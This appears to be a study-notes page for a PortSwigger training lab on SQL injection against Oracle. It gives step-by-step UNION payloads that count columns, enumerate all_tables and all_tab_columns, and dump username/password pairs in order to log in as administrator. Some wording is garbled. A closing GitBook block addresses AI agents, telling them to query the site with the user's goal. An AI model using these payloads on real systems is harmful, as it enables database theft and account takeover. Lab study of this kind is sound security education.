> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/sql-injection/database-enumeration-on-oracle.md).

# Oracle Database Enumeration

Oracle Database Enumeration notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### SQL Injection Attack, Listing the Database Contents on Oracle

* **Context / Vulnerability:** `category` filter vulnerable to SQL injection (results returned in response). Using `ORDER BY` / `UNION` allows enumeration of and extract data from Oracle system views.
* **Objective:** Identify the user table, list its columns, extract `username` / `password` pairs and connect as `administrator`.

### Concise Steps (payloads Provided)

1. **Determine the number of columns**/ Test `ORDER BY` incremental until error:

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```
2. Validate UNION SELECT (same number of columns as the original request):

```sql
' UNION SELECT '1','2'-- -
```

3. **List tables (Oracle)** — use `ALL_TABLES`:

```sql
' UNION SELECT NULL, table_name FROM all_tables-- -
```

(Adapt `NULL`/number of columns according to the vulnerable query.)

4. List columns of an identified table (here USERS/ JREIFY):

```sql
' UNION SELECT NULL, column_name
  FROM all_tab_columns
  WHERE table_name = 'USERS_JREIFY'-- -
```

Note: Oracle normalizes names not listed in MAJUSCULES.

5. Extract Content (dump) — example with columns identified:

```sql
' UNION SELECT USERNAME_SWTJLF, PASSWORD_NTBPBA
  FROM USERS_JREIFY-- -
```

Adjust order/types; use `TO_CHAR`, `CAST` or `NULL` to match types if necessary.

6. **Admin Login**

* Use the exfiled credentials on the login page.
* Or, if necessary, execute an authentication bypass once the columns have been confirmed.

Useful technical details

* If UNION fails due to different types, replace columns with null or TO/ CHAR(col) to force compatibility.
* Metadata exponent views (ALL/ TABLES, ALL/ TAB/ COLUMNS, DBA/ /\*) may be restricted by DB account privileges; access varies according to the application rights.
* Oracle often requires names in MAJUSCULES for comparison table/ name = 'USERS/ JREIFY' unless the table was created between quotes.

Impact

* Identifier compatibility, increased access, data exfiltion/modification, complete application control.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/sql-injection/database-enumeration-on-oracle.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
